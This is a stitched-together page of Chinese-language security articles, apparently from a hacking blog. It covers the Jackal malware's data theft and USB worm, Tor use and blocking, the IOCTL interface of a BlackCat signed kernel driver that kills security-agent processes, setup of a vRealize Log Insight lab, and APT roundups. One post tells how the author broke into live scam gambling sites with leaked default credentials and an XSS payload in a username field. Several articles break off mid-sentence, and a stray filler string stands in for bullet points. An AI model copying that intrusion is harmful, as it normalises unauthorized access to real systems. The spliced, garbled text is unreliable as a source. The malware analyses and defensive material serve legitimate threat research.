
马云惹不起马云創建新的計劃任務；

該服務通常由惡意軟件在執行Windows sc.exe實用程序時安裝。

16.png

註冊表值等於復制的惡意軟件文件名，不帶擴展名，並存儲在以下各項中：

17.png

計劃任務是使用硬編碼的XML模板創建的，該模板在運行時被修改，並使用相同的惡意軟件文件路徑在文件系統釋放，但擴展名不同，為.XML而不是.exe。

然後將生成的XML文件與Windows schtasks.exe實用程序一起使用來創建任務。

例如：

18.png

任務和服務描述會根據變體而變化。

JackalStealJackalSteal是另一種植入程序，通常部署在一些受感染的計算機上，用於在目標系統中查找感興趣的文件，並將其竊取至C2服務器。

此工具可用於監控目標系統中的可移動USB驅動器、遠程共享和所有邏輯驅動器。惡意軟件可以作為標準流程或服務來工作。它無法維護持久性，因此必須由另一個組件安裝。

JackalSteal通過解析參數開始執行。

19.png

選項說明

马云惹不起马云-n：配置文件的唯一標識符值；

马云惹不起马云-p：要檢查的目錄路徑；

马云惹不起马云-s：請求文件的最大大小；

马云惹不起马云-d：自上次寫入請求文件以來的天數；

马云惹不起马云-m：使用正則表達式在配置的目錄中查找以逗號分隔的字符串掩碼列表；

马云惹不起马云-w：配置Profile的連續目錄掃描之間的時間間隔（以秒為單位）；

马云惹不起马云-e：從掃描活動中排除路徑；

马云惹不起马云/0：作為標准進程運行；

马云惹不起马云/1：作為服務運行；

這些選項允許攻擊者指定“概要文件”，該文件定義了攻擊者感興趣的文件。該配置文件由一個ID和一個模式列表組成。每個模式都包含一個具有以下屬性的選項列表：

马云惹不起马云Path：目標路徑；

马云惹不起马云Credentials：用於訪問遠程共享的憑據用戶和密碼；

马云惹不起马云Masks：包含通配符和掩碼字符的掩碼字符串，可用於使用正則表達式匹配任何一組文件；

马云惹不起马云MaxSize：文件的最大大小；

马云惹不起马云Days：自上次寫入文件以來的天數；

马云惹不起马云Interval：兩次連續路徑掃描之間的時間間隔

马云惹不起马云Exclude：掃描活動期間必須排除的路徑；

用於配置JackalSteal組件的命令如下：

20.png

唯一標識符“-n”通常與JackalControl木馬程序生成的BOT_ID相同。

在參數處理之後，惡意軟件將數據序列化為XML，使用由帶有“-n”選項傳遞的ID生成的密鑰用DES加密它們，並將生成的有效負載存儲在以下位置：“%ApplicationData%\SNMP\cache\%Filename]”，其中%Filename%是由攻擊者指定的唯一標識符的MD5生成的GUID。

惡意軟件通常使用“/0”或“/1”選項和“-n”選項執行，該選項用於加載獲得的配置文件ID。在第二種情況下，它從前面提到的位置加載配置文件，並啟動‘Watchers’。

Watcher是在具有相同名稱的類中定義的對象，該對像在不同的線程中運行，並根據指定的選項掃描位置。該模式可以表示：

马云惹不起马云本地文件系統中的簡單路徑；

马云惹不起马云遠程共享上的路徑；

马云惹不起马云常量字符串all；

马云惹不起马云常量字符串usb。

當模式等於“all”時，惡意軟件會枚舉所有邏輯驅動器，並為每個驅動器創建一個新的Watcher對象。當模式為“usb”時，它會偵聽與在系統上創建新的可移動驅動器的操作相對應的系統事件。當檢測到新的驅動器時，它會創建一個新的Watcher對象。

每次添加新的Watcher時，惡意軟件都會通知日誌該事件，並使用HTTP Post請求將信息發送到遠程C2。

該日誌是使用以下字符串作為模板創建的：

21.png

並上傳到包含以下信息的加密有效負載中：

22.png

為每個請求生成AES_Key和AES_IV，嵌入在代碼中的密鑰使用RSA算法進行加密。生成的有效負載也使用GZIP算法進行壓縮。

“Agent_id\\Log_path.log”和“Log”內容數據採用AES算法加密，並使用GZIP壓縮。

Watcher對象負責掃描活動，當Watcher啟動時，它會枚舉目錄及其子目錄中的所有文件。掃描儀還可以解析.lnk鏈接。當掃描程序檢測到與定義的屬性（掩碼、天數、最大大小）匹配的文件時，它會計算文件內容哈希，檢查結果值是否存在於存儲在本地緩存目錄中的哈希表中，如果不存在，則添加該值。當檢測到新文件時，惡意軟件會使用上述相同的邏輯將該文件和相關的文件路徑上傳到加密有效負載中。

在這種情況下，加密的有效負載包含以下信息：

23.png

“Agent_id\\Local_file_path”和“File”內容數據採用AES算法加密，並使用GZIP壓縮。

JackalWorm

這種蠕蟲是為了傳播和感染使用可移動USB驅動器的系統而開發的。該程序被設計為一種靈活的工具，可以用來感染任何惡意軟件的系統。

它的行為會隨著父進程而變化。

马云惹不起马云當惡意軟件在被感染的系統上工作，並且父進程是taskeng.exe或services.exe時：

马云惹不起马云監控可移動USB驅動器；

马云惹不起马云連接設備後，將隱藏最後修改的目錄，並將其替換為蠕蟲的副本；

用於監控可移動USB驅動器的代碼與JackalSteal中觀察到的代碼相同。它創建了一個ManagementEventWatcher對象，允許它訂閱與給定WQL查詢相對應的事件通知，並在攔截時發出回調。惡意軟件使用的查詢指示系統每五秒鐘檢查一次邏輯可移動磁盤創建事件：

24.png

當惡意軟件檢測到一個可移動的USB存儲設備時，它會自我複製到該設備。它將復製到的路徑是通過列出所有目錄並選擇最後修改的目錄來確定的。它將使用相同的目錄名在驅動器根目錄上創建自己的副本，並將目錄的屬性更改為“hid

HireHackking

下圖可以幫我們了解Tor匿名過程。

首先，我們假設使用者已經構建了一個Tor路徑，這意味著計算機已經選擇了三個Tor節點（運行Tor軟件的服務器）來中繼消息並獲得了每個節點的共享密鑰。

2.png

計算機首先對私有數據進行三層加密（上圖中的步驟1），這也是洋蔥名稱的由來。之後，使用者的計算機以相反的順序加密數據：首先使用最後一個退出節點的密鑰(Kn3)，然後使用中間中繼節點的密鑰(Kn2)，最後使用保護節點的密鑰(Kn1)。保護節點接收到數據後，使用Kn1 去除最外層的加密，並將解密的消息發送到中繼節點。中間節點使用Kn2 刪除下一層，並將其中繼到退出節點。最後，退出節點使用Kn3 解密消息並將原始數據發送到Web 服務器（在本例中是peel-the-orange[.]com）。分層加密實現了保密性，並限制了參與通信的人員，因為只有知道密鑰的節點才能解密消息。

3.png

上圖匯總了哪些節點知道哪些其他節點。守衛節點（guard node）知道使用者是誰以及下一個接收使用者消息的節點，即中間中繼節點。但是，守衛節點不知道最後的退出節點和使用者的最終目標地，因為只用Kn1解密，此時入口節點的消息仍然是亂碼。中繼節點知道的最少。它不知道誰是原始發送者或最終目標地，只知道入口和退出節點。退出節點知道中間中繼節點和目標服務器，而目標服務器只知道退出節點。

返回使用者的消息以類似的方式傳回，每個節點使用與使用者共享的密鑰添加一層加密。

4.png

上圖是全球Tor網絡中，使用者和監控者的示意圖。 Emilia代表使用者，Lemonheads代表監控者。當使用者使用Tor時，監控者只能觀察到使用者與入口節點的連接。即使他們對所傳遞的消息有完全的全局可見性，他們也很難跟踪使用者的消息，因為它們混入了所有Tor用戶的流量，而且每次消息傳遞到另一個節點時，加密層都會發生變化。如前所述，如果使用者使用單一的VPN 提供商，它將知道使用者訪問的網站。此外，監控者可以觀察來自VPN 服務器的傳入和傳出消息，並可能確定使用者正在訪問哪些網站。

一個奇怪的問題是：使用者如何在不暴露身份的情況下與Tor節點共享密鑰？要解決這個問題需要分兩步。

首先，兩個節點如何在任何人都可以讀取所有通信的公共網絡上合作創建一個只有他們知道的密鑰？答案是Diffie-Hellman key Exchange (DHE) 協議。首先，雙方需要各自生成他們自己的私有秘密，並將其組合成只有他們兩個人可以計算的共享秘密(Kn1。在實際應用中，基於橢圓密碼學的認證ECDHE來解決vanilla DHE 的問題。

此時，使用者可以訪問每個Tor節點，並分別與它們建立一個密鑰，但這會讓每個節點都知道使用者的身份。問題的第二部分是使用DHE建立密鑰。使用者的計算機並沒有直接與所有三個節點通信，而是在與入口節點建立密鑰後，用Kn1 對所有消息進行加密，並通過入口節點將消息發送到中繼節點。這意味著中繼節點只知道入口節點而不知道使用者。同樣，使用者的計算機用Kn2 和Kn1 加密DHE 消息，並將它們通過守衛節點和中繼節點發送到退出節點。

不幸的是，在使用者了解Tor並開始使用它之後，監控者開始審查與公開宣傳的Tor節點IP 的連接。為了安全，開發者開始運行秘密的Tor網橋（私下替換公開宣傳的入口節點），並一次只向少數用戶提供小批量的服務。

對使用者來說，更糟糕的是，研究人員發現他們可以通過掃描整個IPv4空間來發現Tor網橋。

總之，對於使用者來說，這是一場持續的貓捉老鼠遊戲。

Tor 的惡意和良性示例使用Tor的用戶可以可能是壞人也可能是好人。不管怎樣，人們可能會使用Tor訪問受地理限制的內容或規避政府的審查或機構的內容封鎖。例如，如果Tor流量沒有被阻止，高級URL過濾的客戶無法阻止使用Tor的員工規避基於分類的過濾。

Tor 還以其洋蔥服務而聞名。例如，Tor 有助於隱藏多個舉報人網站，用戶可以在這些網站上舉報其組織中的非法和不道德活動，而不必擔心遭到報復。洋蔥服務通過允許用戶僅使用Tor進行連接來保護其IP 地址的秘密。這個想法是，用戶和洋蔥服務都通過Tor連接，它們在中間的一個集合點（一個Tor節點）相遇。雖然這些洋蔥服務的目的不一定是為了使非法活動成為可能，但過去的研究發現，Tor用戶建立了很大一部分或大部分用於非法目的的隱藏服務。然而，只有6.7% 的Tor用戶連接到隱藏服務。與洋蔥服務相比，絕大多數用戶訪問不太可能是非法的那些網站。例如，超過100 萬人使用Tor查看Facebook 的隱藏服務，該服務允許來自政府審查的地區的訪問。

攻擊者也可以利用Tor進行他們的活動。攻擊通常從偵察開始，攻擊者探索目標的基礎設施並蒐索潛在漏洞，例如，通過掃描開放的端口和運行的服務。通過使用Tor，攻擊者可以隱藏他們的位置，並將他們的活動分佈到多個退出節點。

同樣，攻擊者可以使用Tor進行攻擊的後續步驟，例如利用偵察期間發現的漏洞、更新目標設備上的惡意代碼、命令和控制通信以及數據洩露。 Tor的其他惡意用途包括DoS 攻擊、虛假帳戶創建、垃圾郵件和網絡釣魚。

攻擊者以各種方式利用Tor進行勒索軟件攻擊。在Ryuk 和Egregor 勒索軟件的示例中，名為SystemBC 的初始遠程訪問木馬(RAT)使用Tor隱藏服務作為命令和控制通信的後門。在構建木馬攻擊時，使用Tor隱藏服務進行命令和控制非常有用，因為這使得命令和控制難以取消並保持其可訪問性，除非使用各種安全產品阻止與Tor的連接。 Gold Waterfall 攻擊組織在安裝DarkSide 勒索軟件時也使用Tor進行後門通信。 Tor隱藏的基於服務的洩漏網站也被用來託管與DarkSide 和Ranzy locker相關的被盜數據。此外，DoppelPaymer還利用Tor支付網站收取贖金。 Unit 42 最近發表了關於Cuba勒索軟件和BlueSky Ransomware勒索軟件的研究，前者使用基於Tor隱藏服務的洩漏網站，後者發送勒索通知，指示目標下載Tor瀏覽器，作為獲取文件訪問權的一部分。

Tor 的使用並不特定於針對服務器和個人計算機的惡意軟件。一種Android惡意軟件還使用Tor隱藏服務作為命令和控制服務器，使攻擊變得困難。

此外，研究人員發現Tor被用來發送各種惡意垃圾郵件，通常以評論和約會垃圾郵件的形式出現。研究人員還發現，通過Tor發送的電子郵件可能包含嚴重的威脅，包括AgentTesla RAT 的傳播、以Adobe 為主題的網絡釣魚電子郵件和Covid-19 貸款詐騙。

使用Tor的攻擊者是如何被抓住的？雖然Tor提供了比許多其他解決方案更好的匿名性，但它並不完美。

2013 年，一名哈佛學生試圖通過發送炸彈攻擊來逃避他的期末考試。他通過Tor連接到一個匿名電子郵件提供商以隱藏他的身份。然後他使用這個電子郵件提供商發送炸彈攻擊。雖然他正確使用了Tor，但當他從哈佛的wifi 網絡連接到Tor時，他犯了一個大錯誤。該生的錯誤是Tor只隱藏了使用者所做的事情，而不隱藏使用Tor的事實。學校管理者從電子郵件的標題中發現有人使用Tor發送電子郵件。他們從那個位置檢查了網絡日誌，看看是否有學生在學校收到郵件的時間內連接到Tor。

臭名昭著的洋蔥服務“絲綢之路”(Silk Road)的創始人羅斯马云惹不起马云烏布里希(Ross Ulbricht)也正確使用了洋蔥網絡，但他在操作上犯了另一個錯誤，導致他被捕。絲綢之路是當時最著名的暗網市場，賣家提供毒品、假鈔、偽造身份證件和槍支等商品。美國聯邦調查局(FBI)發現，早些時候，有人用“薄荷糖”(Altoid)這個筆名四處推銷絲綢之路。 8個月後，Ulbricht用這個筆名發布了招聘廣告，聯繫人是rossulbricht@gmail[.]com ，以聘請一名IT 專家，來幫助“一家由風投支持的比特幣創業公司”。據報導，聯邦調查局隨後能夠訪問Ulbricht使用的VPN 服務器的日誌和谷歌訪問他的Gmail 地址的日誌。這兩項記錄都指向了舊金山的一家網吧，並導致了他的被捕。

攻擊者可以通過其他方法對Tor用戶進行去匿名化，例如，通過使用JavaScript 或設置非法Tor節點（現在可能正在現實世界中發生）。關鍵是，雖然Tor確實提供了一定程度的匿名性，但用戶可以通過操作錯誤洩露他們的身份，或者如果追查者確定並擁有資源，他們可以被識別。

如何阻止攻擊者利用Tor 5.png

如何使用不同的方法來阻止攻擊者利用Tor。標記為Part 1* 和2* 的單元格表示需要同時使用這兩種解決方案來保護企業。

要阻止進出Tor網絡的流量，我們可以阻止公開發布的TorIP，或者識別和阻止Tor應用程序流量。上圖總結了每種阻止機制的示例。首先，我們可以使用已知退出節點IP 列表來阻止來自Tor的攻擊，例如偵察、利用、命令和控制通信、數據洩露和DoS 攻擊。使用已知保護節點IP 列表，我們可以阻止我們的用戶及其設備向Tor發送流量，並防止數據洩露、命令和控制通信、規避地理限制和內容阻止以及訪問.onion 網站。

由於Tor網橋節點列表未知，基於保護節點IP 的阻止只是部分解決方案。相反，我們可以使用Palo Alto Networks 流量分類系統App-ID 直接檢測和阻止Tor流量。除了使用可用的保護和橋接節點IP，App-ID 還會查看連接的特徵，例如使用的密碼套件或數據包的大小來識別Tor流量。

此外，攻擊者可以從Tor網絡或受感染的設備發起數據洩露以及命令和控制通信。因此，要阻止這些攻擊，最好同時使用基於退出IP 和基於流量分析的阻止。

Palo Alto Networks 收集所有公開宣傳的Tor退出IP，並利用它們建立一個電路來測試它們是否有效。已知且有效的Tor退出列表構成了Palo Alto Networks 預定義的Tor退出IP 外部動態列表。

使用Tor退出IP 外部動態列表和App-ID，研究人員觀察到企業使用Tor很常見，因為我們在一個月內確定了204 個客戶網絡中691 台設備上的6617473 個會話。

除了阻止Tor流量外，企業還可以利用Cortex XDR 等端點保護來覆蓋基於Tor的攻擊。 Cortex XDR 基於用戶和實體行為分析(UEBA)、端點檢測和響應(EDR)、網絡檢測和響應(NDR) 以及雲審計日誌來檢測以下活動：

與Tor中繼服務器的可能網絡連接；

來自Tor的成功VPN 連接；

從Tor成功登錄；

來自Tor退出節點的可疑API 調用；

來自Tor的SSO 成功登錄。

總結Tor 為其用戶提供匿名性，不過匿名性經常被不法分子利用，一方面，Tor 可以幫助人們改善隱私和保護舉報人。另一方面，Tor 可用於各種惡意活動，包括匿名偵察、數據盜竊、逃避地理限制、規避內容阻止以及在暗網上運行非法市場。

由於網絡犯罪分子經常將Tor用於惡意目標，因此建議在企業環境中禁止使用Tor。根據調查，企業使用Tor很常見，研究人員在一個月內發現了204 個客戶網絡上的691 台設備的6617473 個會話。

6.png

Palo Alto Networks 提供了兩種用於阻止Tor流量的解決方案，作為攻擊預防的一部分，最好一起使用。他們向客戶提供經過驗證的內置Tor退出IP 外部動態列表，他們可以使用該列表來阻止與Tor退出節點的連接。此外，可以使用Palo Alto Networks 流量分類系統App-ID 阻止企業網絡中的Tor流量。此外，客戶可以利用Cortex XDR 來提醒和響應端點設備、網絡或云中的Tor相關活動。

HireHackking

我們將在本文中詳細介紹發生在2023年2月的BlackCat勒索軟件事件，研究人員在其中發現了一種新型逃避功能。

2022年12月下旬，Mandiant、Sophos和Sentinel One的研究人員發現惡意內核驅動程序是通過幾個微軟硬件開發人員帳戶(由微軟Windows硬件開發人員計劃認證)簽名的，微軟隨後撤銷了幾個在這些攻擊中被濫用的微軟硬件開發者賬戶。

我們將在本文中介紹有關2023年2月發生的BlackCat勒索軟件事件，該變體與三家安全商2022年12月下旬披露的惡意驅動程序重疊。眾所周知，BlackCat在逃避功能上使用了多種技術，比如使用禁用和修改工具或使用安全模式引導技術。

本文重點分析揭示了這種新功能，它涉及使用簽名內核驅動程序進行逃避。我們認為這個新的內核驅動程序是一個最新版本，繼承了以前研究中披露的示例的主要功能。該驅動程序與單獨的用戶客戶機可執行文件一起使用，試圖控制、暫停和終止部署在攻擊目標上的安全代理的各種進程。

攻擊者使用不同的方法對其惡意內核驅動程序進行簽名：通常是通過濫用Microsoft簽名門戶、使用洩露和被盜的證書或使用地下服務。在示例中，攻擊者試圖部署Mandiant披露的舊驅動程序，該驅動程序通過Microsoft簽名(SHA256: b2f955b3e6107f831ebe67997f8586d4fe9f3e98)。由於該驅動程序之前已經被發現並檢測到，攻擊者部署了另一個由被盜或洩露的交叉簽名證書籤名的內核驅動程序。

惡意簽名的內核驅動程序我們觀察到的2023年2月的勒索軟件事件證明，勒索軟件運營商及其附屬機構對獲得他們在攻擊中使用的勒索軟件有效負載的特權級訪問非常感興趣。他們通常使用包含低權限組件的勒索軟件家族，以避免在最終有效負載被釋放後被安全產品檢測到。跟踪分析發現，大多數與內核相關的有效負載通常是在企圖逃避階段被發現的。

1.png

內核級攻擊的分佈

2.png

大多數與內核相關的有效負載都是在企圖逃避階段被發現的

一些勒索軟件攻擊試圖遵守微軟的代碼簽名要求。這使得惡意攻擊者可以靈活地在釋放實際負載之前編譯為特定任務(通常涉及削弱防禦和逃避)設計的內核模塊。攻擊者可以採取以下方法：

1. 使用代碼簽名證書，該證書要么是洩露的，要么是竊取的，要么是從黑市購買的。

2. 通過模仿合法機構並按照微軟的流程獲取交叉簽名證書(前提是微軟允許對內核模式代碼進行交叉簽名)，濫用微軟的門戶來發布簽名的內核模塊，獲得新的有效代碼簽名證書，以及從黑市購買與真實身份相關的有效代碼簽名證書和/或擴展驗證（EV）證書。

3.png

顯示攻擊者如何遵守微軟代碼簽名要求的圖表

對簽名驅動程序的分析接下來，我們將研究二月BlackCat攻擊中使用的簽名驅動程序（ktgn.sys）。下圖顯示了這些新簽署的驅動程序的其他示例，以及它們是如何被用作BlackCat逃避程序的。

4.png

BlackCa在逃避階段釋放的文件

通過虛擬機保護的用戶代理tjr.exe將內核驅動程序釋放到用戶臨時目錄C:\%User%\AppData\Local\Temp\Ktgn.sys。然後安裝被釋放的驅動程序，名稱為Ktgn，啟動值為System（在系統重新啟動時啟動）。通過我們對用戶與該驅動程序交互時發生的情況的分析，我們觀察到它只使用了一個公開的設備輸入和輸出控制（IOCTL）代碼——Kill Process，該代碼用於阻止安裝在系統上的安全代理進程。

與此同時，驅動程序ktgn.sys使用當前吊銷的有效數字簽名從“BopSoft”(它也曾被其他攻擊者用於代碼簽名)簽名，可以成功加載到執行簽名策略的64位Windows安裝中，該驅動程序使用Safengine Protector v2.4.0.0工具進行混淆，這使得靜態分析技術不可靠。通過加載被混淆的驅動程序並嘗試構建一個用戶模式客戶端來觀察暴露的IOCTL接口，我們可以確定每個IOCTL代碼的函數。最後，我們觀察到相同的內核驅動程序被不同的代碼簽名證書籤名。

5.png

具有不同簽名者的驅動程序變體

6.png

用於混淆二進製文件的封裝程序

由於它沒有註冊卸載回調函數，因此只有在釋放或修改服務註冊表項後重新啟動系統時，才能卸載驅動程序。

7.png

服務控制管理器無法停止該服務

8.png

缺少卸載函數的驅動程序

一個名為\\.\keHeperDriverLink的符號鏈接被創建，該符號允許用戶模式客戶端與其連接和通信。請注意，該鏈接只允許一個連接，如果多個客戶端試圖同時連接，系統將崩潰。

8.png

正在檢查另一個用戶模式進程是否正在嘗試連接到驅動程序

9.png

暴露的IOCTL接口

這個客戶機支持10個不同的命令，每個命令實現一個特定的功能，該功能由內核驅動程序通過適當的IOCTL接口執行。驅動程序和用戶模式客戶端之間的通信使用irp_mj_devicide_control處理程序通過以下代碼發生，每個IOCTL代碼及其對應的功能：

222088h：激活驅動程序

22208ch：取消激活驅動程序

222094h：終止進程

222184h：刪除文件

222188h：強制刪除文件

22218ch：複製文件

222190h：強制複製文件

2221c8h：註冊進程/線程對象通知

2221c4h：註銷進程/線程對象通知

222264h：重啟系統

根據我們對內核驅動程序的分析，它似乎仍在開發和測試中，因為它的結構不是很好，而且它的一些功能目前還不能使用。接下來將介紹各種IOCTL接口的詳細信息。

IOCTL 222088h在執行任何其他操作之前，必須首先調用IOCTL 222088h來激活驅動程序。如果未調用此代碼，驅動程序將不接受任何操作，並將返回消息STATUS_ACCESS_DENIED。用戶模式客戶端將此激活字節數組發送給驅動程序。

激活是對位於驅動程序中的大小為0x42的硬編碼字節數組進行簡單的字節比較。如果比較通過，它將設置一個BOOLEAN標誌，該標誌將在任何操作之前進行檢查。

11.png

運行內存中的激活字節數

12.png

複製激活字節以測試驅動程序操作

IOCTL 22208 chIOCTL 22208Ch在用戶模式客戶端完成取消之前在IOCTL代碼222088h中設置的標誌的操作後被調用。這將使驅動程序失效並停止處理任何新的操作。

客戶端將需要傳遞IOCTL代碼222088h中傳遞的相同字節數組，以便成功完成操作。

IOCTL 222094 hIOCTL 222094h用於阻止任何用戶模式進程（甚至是受保護的進程）。 Tt從用戶代理接收進程ID，然後在目標進程上下文中創建內核線程。創建的內核線程調用ZwTerminateProcess API來終止目標進程。

13.png

檢查驅動程序是否激活

14.png

IOCTL 222094h終止進程

IOCTL 222184 hIOCTL 222184h用於刪除特定的文件路徑。

15.png

IOCTL 222184h刪除文件路徑

IOCTL 222188 hIOCTL 222188h強制刪除文件。為此，內核驅動程序執行以下操作：

1.它嘗試使用暴力方法打開系統上的所有進程（從PID=0x4到PID=0x27FFD）；

2.當它成功地打開一個進程時，它會嘗試引用進程內的所有句柄，再次使用暴力方法（從HANDLE=0x4開始到HANDLE=0x27FFD）；

3.當它成功引用句柄時，它使用ObQueryNameString API將句柄映射到名稱。當找到匹配項時，內核驅動程序關閉句柄。

此操作將確保關閉對該文件的所有引用，並且該操作可以成功完成，而不會出現任何錯誤，說明該文件正被其他應用程序使用。

16.png

暴力破解PID

17.png

暴力破解句柄

IOCTL 22218 chIOCTL 22218Ch用於復製文件。

18.png

IOCTL 22218Ch用於復製文件

IOCTL 222190 hIOCTL 222190h用於強制複製文件。驅動程序使用與強制刪除相同的操作（IOCTL代碼：222188h）。它使用暴力方法關閉所有進程對文件的所有引用，然後復製文件。

IOCTL 2221C4h和IOCTL 2221C8h

IOCTL 2221C4h和2221C8h都用於註冊和註銷進程/線程通知回調。然而，在撰寫本文時，這兩條路徑都是無法實現的，這表明它們仍處於開發或測試階段。

19.png

註冊對象通知的偽代碼

20.png

註銷對象通知的偽代碼

21.png

對象通知函數的偽代碼

IOCTL 222264 hIOCTL 222264h通過調用HalReturnToFirmware API重啟系統。

總結攻擊者通過終端保護平台(EPP)和終端檢測與響應(EDR)技術，正在積極尋求對Windows操作系統的高權限訪問的惡意攻擊，繞過各類防護措施。由於這些添加的保護層，攻擊者傾向於選擇阻力最小的方法，通過內核層（甚至更低級別）運行惡意代碼。所以我們認為，這種威脅會一直存在。

惡意攻擊者將繼續使用rootkit對安全工具隱藏惡意代碼，繞過防禦，並在很長一段時間內不會被檢測到。這些rootkit將被惡意組織大量使用，他們既擁有逆向工程低級系統組件的技能，又擁有開發此類工具所需的資源。這些惡意攻擊者還擁有足夠的財力，可以從黑市購買rootkit或購買代碼簽名證書來構建rootkit。這意味著涉及這類rootkit的主要危險在於它們能夠隱藏複雜的有針對性的攻擊，這些攻擊將在攻擊的早期使用，允許攻擊者在受害者環境中啟動實際有效負載之前就逃脫檢測。

緩解措施代碼簽名證書通常會被攻擊者濫用，因為它們在攻擊中提供了額外的混淆層。對於組織來說，洩露的密鑰不僅會帶來安全風險，還會導致對原始簽名軟件的聲譽和信任的喪失。企業應該通過實現最佳實踐來保護他們的證書，例如減少對私鑰的訪問，從而降低對證書進行未經授權訪問的風險。為私鑰使用強密碼和其他身份驗證方法還可以幫助保護它們免受惡意攻擊者的竊取或破壞。此外，使用單獨的測試簽名證書(用於測試環境中使用的預發布代碼)可以最大限度地減少實際發布簽名證書在攻擊中被濫用的可能性。

對於一般的勒索軟件攻擊，組織可以實現一個系統的安全框架，分配資源來建立一個強大的防禦策略。建議如下：

盤點資產和數據；

識別授權和未經授權的設備和軟件；

審計事件和事件日誌；

管理硬件和軟件配置；

僅在必要時授予管理員權限和訪問權限；

監控網口、協議和服務；

為合法應用程序建立軟件許可列表；

實施數據保護、備份和恢復措施；

啟用多因素身份驗證(MFA)；

在系統各層部署最新版本的安全解決方案；

注意攻擊的早期跡象；

保護潛在的入口點(如終端、電子郵件、web和網絡)，組織可以檢測並防範惡意元素和可疑活動，從而保護自己免受勒索軟件攻擊。

HireHackking

 前言

    喜欢看电影但又喜欢白嫖,所以经常在一些影视站点观看,偶尔会弹出一些色懒广告,最近公众号也没怎么更新就顺手找到一个色懒约P的广告试试由于尺度比较大打码比较严重

简单总结

  1. 色懒视频---引用外部x站的播放源
      图片       2.选X----后台都是城市和百度的照片乱七八糟的介绍,假的       3.预约---菠菜游戏,通过诱导方式引导下注     图片看到这是不是心动了,在放一张后台的数据图片

实战经过

    通过域名查ip找到找了后台,xx娱乐,扶墙找了一波源码,找到了类似源码以及搭建教程泄露了站点的ip一般的站点演示都附带了演示账号密码后台以及各种指纹特征
图片    通过演示站点的指纹和默认账号密码找到一批同类型的站点,基本都是通过色懒视频约p噱头引导玩菠菜图片    后台开奖预设,都是骗局,希望看到这里可以分享此篇文章给你的色懒朋友
图片    前期是通过找源码找演示站找指纹的方式搞进去的,还有一些站点,就是正常的渗透方式
    首先注册账号
    看到提示用户名可以自定义直接顺带上xss代码,比较鸡肋,后台很难触发图片     后台用户展示是这样,管理点击用户详细信息才会触发图片图片        还有就是基本上都是养鱼式引导,小额提现,大额各种阻挠图片    最后统计3k多人小台    找到管理员大概位置

图片



转载于原文链接： https://mp.weixin.qq.com/s/IIyt-m1ul0UPXvocmwCfag
HireHackking

0x00 前言本文記錄從零開始搭建vRealize Log Insight漏洞調試環境的細節。

0x01 簡介本文將要介紹以下內容：

vRealize Log Insight安裝

vRealize Log Insight漏洞調試環境配置

數據庫操作

0x02 vRealize Log Insight安裝參考資料：https://docs.vmware.com/en/vRealize-Log-Insight/index.html

1.下載OVA文件下載頁面：https://customerconnect.vmware.com/evalcenter?p=vr-li

下載前需要先註冊用戶，之後選擇需要的版本進行下載

2.安裝(1)在VMware Workstation中導入OVA文件

(2)配置

訪問配置頁面https://

選擇Starting New Deployment，設置admin用戶口令

3.開啟遠程調試功能(1)查看所有服務的狀態

1.png結果如下圖

下载.png

定位到web相關的服務為loginsight.service

(2)查看loginsight.service的具體信息

2.png

結果如下圖

3.png

定位到服務啟動文件：/usr/lib/loginsight/application/bin/loginsight

(3)查看進程參數

執行命令：ps aux|grep java

返回結果：

4.png 5.png 6.png 7.png結果分析如下：

8.png 9.png

0x03 數據庫操作1.重置web登陸用戶admin口令實現文件：/usr/lib/loginsight/application/sbin/li-reset-admin-passwd.sh

從文件中可以獲得數據庫操作的相關信息，如下圖

下载 (1).png

2.連接數據庫的命令參數實現文件：/usr/lib/loginsight/application/lib/apache-cassandra-3.11.11/bin/cqlsh-no-pass

文件內容如下：

10.png 11.png 12.png

3.連接數據庫的用戶名口令13.png

4.連接數據庫的配置信息14.png

(1)使用封裝好參數的文件

15.png

(2)使用參數連接

16.png

從返回結果可以看到數據庫使用了CQL(Cassandra Query Language)

查詢用戶配置的命令：

17.png

5.界面化操作數據庫18.png 下载 (2).png

0x04 小結在我們搭建好vRealize Log Insight漏洞調試環境後，接下來就可以著手對漏洞進行學習。

HireHackking

sl-dark-blue-binary-malware-magnifier-city-world-1200-1200x600.jpg

BlueNoroff引入繞過MotW的新方法早2022年底，研究人員就發布過BlueNoroff組織的活動，這是一個以盜竊加密貨幣而聞名的出於經濟動機的組織，通常利用Word文檔，使用快捷方式文件進行初始攻擊。不過最近的追踪發現，該組織採用了新的方法來傳播其惡意軟件。

其中一種是使用.ISO（光盤映像）和VHD（虛擬硬盤）文件格式，旨在避開Web標記（MotW）標誌。 MOTW是Windows Internet Explorer通過強制使IE瀏覽器瀏覽存儲下來的網頁在安全的位置的一種機制，目的是增強安全性。

該組織似乎也在嘗試用新的文件類型來傳播其惡意軟件。研究人員觀察到一個新的Visual Basic腳本、一個以前未見過的Windows批處理文件和一個Windows可執行文件。

1.png

分析顯示，該組織使用了70多個域名，這意味著他們直到最近都非常活躍。他們還創建了許多看起來像風險投資和銀行域名的假域名，這些域名大多模仿日本風險投資公司，表明該組織對日本金融機構有著廣泛的興趣。

Roaming Mantis使用了新的DNSChanger(DNS解析器)Roaming Mantis（又名Shaoye）是一個針對亞洲國家的知名攻擊組織。從2019年到2022年，這名攻擊者主要使用“smishing”來提供其登陸頁面的鏈接，目的是控制受攻擊的安卓設備並竊取設備信息，包括用戶憑據。

然而，在2022年9月，研究人員發現Roaming Mantis使用了新的Wroba.o Android惡意軟件，並發現了一個DNS解析器功能，該功能主要針對韓國使用的特定Wi-Fi路由器。

2.png

這可以用於管理來自使用惡意DNS設置的受攻擊Wi-Fi路由器的設備的所有通信，例如，將某人重定向到惡意主機並干擾安全產品更新。用戶將受攻擊的安卓設備連接到咖啡館、酒吧、圖書館、酒店、購物中心和機場等場所的免費公共Wi-Fi。當連接到具有易受攻擊設置的目標Wi-Fi型號時，惡意軟件將破壞路由器並影響其他設備。因此，它可以在目標區域廣泛傳播。

BadMagic：與俄烏衝突有關的新APT組織自俄烏衝突開始以來，研究人員已經發現了大量地緣政治網絡攻擊。

去年10月，研究人員就發現了BadMagic的攻擊。最初的攻擊途徑尚不清楚，但接下來要使用魚叉式網絡釣魚或類似的方法。攻擊目標被導航到一個URL，該URL指向託管在惡意web服務器上的ZIP文檔。該文檔包含兩個文件：一個是誘餌文檔（研究人員發現了PDF、XLSX和DOCX版本），另一個是帶有雙重擴展名的惡意LNK文件（例如PDF.LNK），打開後會導致攻擊。

3.png

在一些情況下，誘餌文檔的內容與惡意LNK的名稱直接相關，以誘使用戶激活它。

